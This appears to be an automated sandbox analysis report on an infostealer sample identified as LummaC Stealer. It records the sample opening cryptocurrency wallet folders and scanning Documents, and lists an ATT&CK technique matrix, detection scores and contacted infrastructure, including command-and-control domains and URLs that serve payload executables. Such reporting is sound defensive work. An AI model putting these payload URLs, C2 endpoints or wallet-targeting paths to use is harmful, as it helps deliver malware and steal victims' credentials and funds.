Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Directory queried: number of queries: 1001

Source: Yara match

File source: Process Memory Space: file.exe PID: 5788, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: file.exe PID: 5788, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	12 Process Injection	34 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	12 Process Injection	LSASS Memory	751 Security Software Discovery	Remote Desktop Protocol	41 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	34 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Software Packing	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	32%	ReversingLabs	Win32.Infostealer.Tinba
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Name	IP	Active	Malicious	Reputation
s-part-0014.t-0009.t-msedge.net	13.107.246.42	true	false	high
frogmen-smell.sbs	172.67.174.133	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
www.google.com	142.250.184.228	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
thicktoys.sbs	false	high
faintbl0w.sbs	false	high
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	false	high
3xc1aimbl0w.sbs	false	high
https://frogmen-smell.sbs/api	false	high
300snails.sbs	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf	chromecache_112.7.dr	false	high
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2290679094.0000000005E4A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2290742342.0000000005E48000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2290925458.0000000005E48000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2290679094.0000000005E4A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2290742342.0000000005E48000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2290925458.0000000005E48000.00000004.00000800.00020000.00000000.sdmp	false	high
https://frogmen-smell.sbs/6K	file.exe, 00000000.00000003.2352648248.000000000179A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2352497362.0000000001798000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/	chromecache_112.7.dr	false	high
https://www.linkedin.com/cws/share?url=$	chromecache_92.7.dr, chromecache_104.7.dr	false	high
http://185.215.113.16/off/def.exerj	file.exe, 00000000.00000003.2465437533.0000000001780000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2465991858.0000000001783000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://frogmen-smell.sbs/.K	file.exe, 00000000.00000003.2352648248.000000000179A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2352497362.0000000001798000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.2290679094.0000000005E4A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2290742342.0000000005E48000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2290925458.0000000005E48000.00000004.00000800.00020000.00000000.sdmp	false	high
https://github.com/Youssef1313	chromecache_112.7.dr	false	high
http://185.215.113.16/F	file.exe, 00000000.00000003.2465437533.0000000001780000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2465991858.0000000001783000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	file.exe, 00000000.00000003.2334418875.0000000005E0C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2334539808.0000000005E14000.00000004.00000800.00020000.00000000.sdmp	false	high
https://frogmen-smell.sbs/&K	file.exe, 00000000.00000003.2352648248.000000000179A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2352497362.0000000001798000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://frogmen-smell.sbs/oftRoo	file.exe, 00000000.00000002.2585104415.000000000172F000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0	chromecache_92.7.dr, chromecache_104.7.dr	false	high
https://aka.ms/msignite_docs_banner	chromecache_92.7.dr, chromecache_104.7.dr	false	high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9	chromecache_104.7.dr	false	high
http://185.215.113.16/steam/random.exetj	file.exe, 00000000.00000002.2585104415.000000000172F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2465437533.0000000001780000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2465991858.0000000001783000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2482809580.0000000001783000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.16/I	file.exe, 00000000.00000003.2465437533.0000000001780000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2465991858.0000000001783000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://polymer.github.io/AUTHORS.txt	chromecache_92.7.dr, chromecache_104.7.dr	false	high
https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml	chromecache_112.7.dr	false	high
https://frogmen-smell.sbs/apibE7Q	file.exe, 00000000.00000003.2334623900.0000000001796000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://management.azure.com/subscriptions?api-version=2016-06-01	chromecache_92.7.dr, chromecache_104.7.dr	false	high
https://frogmen-smell.sbs/hQ	file.exe, 00000000.00000003.2304974381.0000000005E0F000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md	chromecache_112.7.dr	false	high
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.2320377336.0000000005E46000.00000004.00000800.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.2320377336.0000000005E46000.00000004.00000800.00020000.00000000.sdmp	false	high
https://aka.ms/pshelpmechoose	chromecache_92.7.dr, chromecache_104.7.dr	false	high
https://aka.ms/feedback/report?space=61	chromecache_112.7.dr, chromecache_76.7.dr, chromecache_113.7.dr	false	high
https://frogmen-smell.sbs/B	file.exe, 00000000.00000003.2320003333.00000000017B7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2319706074.00000000017B7000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://frogmen-smell.sbs/NDQ	file.exe, 00000000.00000003.2352648248.000000000179A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2352497362.0000000001798000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.2290679094.0000000005E4A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2290742342.0000000005E48000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2290925458.0000000005E48000.00000004.00000800.00020000.00000000.sdmp	false	high
https://frogmen-smell.sbs/F	file.exe, 00000000.00000003.2334803513.00000000017B1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2334521290.00000000017AD000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://frogmen-smell.sbs/db	file.exe, 00000000.00000002.2585104415.000000000172F000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://learn-video.azurefd.net/vod/player	chromecache_92.7.dr, chromecache_104.7.dr	false	high
https://twitter.com/intent/tweet?original_referer=$	chromecache_92.7.dr, chromecache_104.7.dr	false	high
https://github.com/gewarren	chromecache_112.7.dr	false	high
https://support.mozilla.org/products/firefoxgro.all	file.exe, 00000000.00000003.2321674664.0000000005F2B000.00000004.00000800.00020000.00000000.sdmp	false	high
http://polymer.github.io/CONTRIBUTORS.txt	chromecache_92.7.dr, chromecache_104.7.dr	false	high
https://frogmen-smell.sbs/TY	file.exe, 00000000.00000003.2289826264.0000000001790000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://www.mozilla.or	file.exe, 00000000.00000003.2321496579.0000000005E42000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.16/off/def.exe$jT	file.exe, 00000000.00000002.2585104415.000000000172F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2465437533.0000000001780000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2465991858.0000000001783000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2482809580.0000000001783000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md	chromecache_112.7.dr	false	high
https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725	chromecache_112.7.dr	false	high
https://client-api.arkoselabs.com/v2/api.js	chromecache_92.7.dr, chromecache_104.7.dr	false	high
https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl	chromecache_92.7.dr, chromecache_104.7.dr	false	high
https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev	chromecache_92.7.dr, chromecache_104.7.dr	false	high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.2290679094.0000000005E4A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2290742342.0000000005E48000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2290925458.0000000005E48000.00000004.00000800.00020000.00000000.sdmp	false	high
https://github.com/Thraka	chromecache_112.7.dr	false	high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	file.exe, 00000000.00000003.2334418875.0000000005E0C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2334539808.0000000005E14000.00000004.00000800.00020000.00000000.sdmp	false	high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	file.exe, 00000000.00000003.2334539808.0000000005E14000.00000004.00000800.00020000.00000000.sdmp	false	high
http://polymer.github.io/PATENTS.txt	chromecache_92.7.dr, chromecache_104.7.dr	false	high
https://frogmen-smell.sbs/apib	file.exe, 00000000.00000003.2335411580.0000000001797000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2335266886.0000000001797000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2335555173.0000000001797000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2335058668.0000000001797000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2334623900.0000000001796000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2335346976.0000000001797000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2334968628.0000000001797000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2334867065.0000000001797000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://aka.ms/certhelp	chromecache_92.7.dr, chromecache_104.7.dr	false	high
http://185.215.113.16/steam/random.exe	file.exe, 00000000.00000002.2585104415.000000000172F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2465437533.0000000001780000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2465991858.0000000001783000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2482809580.0000000001783000.00000004.00000020.00020000.00000000.sdmp	false	high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2290679094.0000000005E4A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2290742342.0000000005E48000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2290925458.0000000005E48000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crl.rootca1.amazontrust.com/rootca1.crl0	file.exe, 00000000.00000003.2320377336.0000000005E46000.00000004.00000800.00020000.00000000.sdmp	false	high
https://github.com/mairaw	chromecache_112.7.dr	false	high
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.2320377336.0000000005E46000.00000004.00000800.00020000.00000000.sdmp	false	high
https://schema.org	chromecache_104.7.dr	false	high
http://polymer.github.io/LICENSE.txt	chromecache_92.7.dr, chromecache_104.7.dr	false	high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2290679094.0000000005E4A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2290742342.0000000005E48000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2290925458.0000000005E48000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000000.00000003.2321674664.0000000005F2B000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	file.exe, 00000000.00000003.2334418875.0000000005E0C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2334539808.0000000005E14000.00000004.00000800.00020000.00000000.sdmp	false	high
https://frogmen-smell.sbs/	file.exe, 00000000.00000003.2334521290.00000000017AD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2319706074.00000000017B7000.00000004.00000020.00020000.00000000.sdmp	false	high
https://frogmen-smell.sbs/apis	file.exe, 00000000.00000003.2352703830.00000000017A0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2352497362.0000000001798000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2352593950.000000000179D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://aka.ms/yourcaliforniaprivacychoices	chromecache_112.7.dr	false	high
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.2290679094.0000000005E4A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2290742342.0000000005E48000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2290925458.0000000005E48000.00000004.00000800.00020000.00000000.sdmp	false	high
https://github.com/nschonni	chromecache_112.7.dr	false	high
http://185.215.113.16/	file.exe, 00000000.00000003.2465437533.0000000001780000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2465991858.0000000001783000.00000004.00000020.00020000.00000000.sdmp	false	high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05	chromecache_92.7.dr, chromecache_104.7.dr	false	high
https://frogmen-smell.sbs/(Q	file.exe, 00000000.00000003.2304974381.0000000005E0F000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://github.com/adegeo	chromecache_112.7.dr	false	high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000003.2334418875.0000000005E0C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2334539808.0000000005E14000.00000004.00000800.00020000.00000000.sdmp	false	high
https://github.com/jonschlinkert/is-plain-object	chromecache_92.7.dr, chromecache_104.7.dr	false	high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3	file.exe, 00000000.00000003.2334418875.0000000005E0C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2334539808.0000000005E14000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	file.exe, 00000000.00000003.2320377336.0000000005E46000.00000004.00000800.00020000.00000000.sdmp	false	high
https://octokit.github.io/rest.js/#throttling	chromecache_92.7.dr, chromecache_104.7.dr	false	high
https://github.com/js-cookie/js-cookie	chromecache_92.7.dr, chromecache_104.7.dr	false	high
http://185.215.113.16/off/def.exe	file.exe, 00000000.00000002.2584839720.00000000011BB000.00000004.00000010.00020000.00000000.sdmp, file.exe, 00000000.00000003.2464893433.0000000005E0D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.2585104415.000000000172F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2465437533.0000000001780000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2465991858.0000000001783000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2482809580.0000000001783000.00000004.00000020.00020000.00000000.sdmp	false	high
http://schema.org/Organization	chromecache_112.7.dr	false	high
http://185.215.113.16/off/def.exeZj	file.exe, 00000000.00000003.2465437533.0000000001780000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2465991858.0000000001783000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://channel9.msdn.com/	chromecache_92.7.dr, chromecache_104.7.dr	false	high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.2290679094.0000000005E4A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2290742342.0000000005E48000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2290925458.0000000005E48000.00000004.00000800.00020000.00000000.sdmp	false	high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	file.exe, 00000000.00000003.2334418875.0000000005E0C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2334539808.0000000005E14000.00000004.00000800.00020000.00000000.sdmp	false	high
https://github.com/dotnet/try	chromecache_92.7.dr, chromecache_104.7.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.107.246.42	s-part-0014.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.246.45	s-part-0017.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
172.67.174.133	frogmen-smell.sbs	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.184.228	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.6

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1555955
Start date and time:	2024-11-14 17:23:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@24/64@9/7
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 2
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
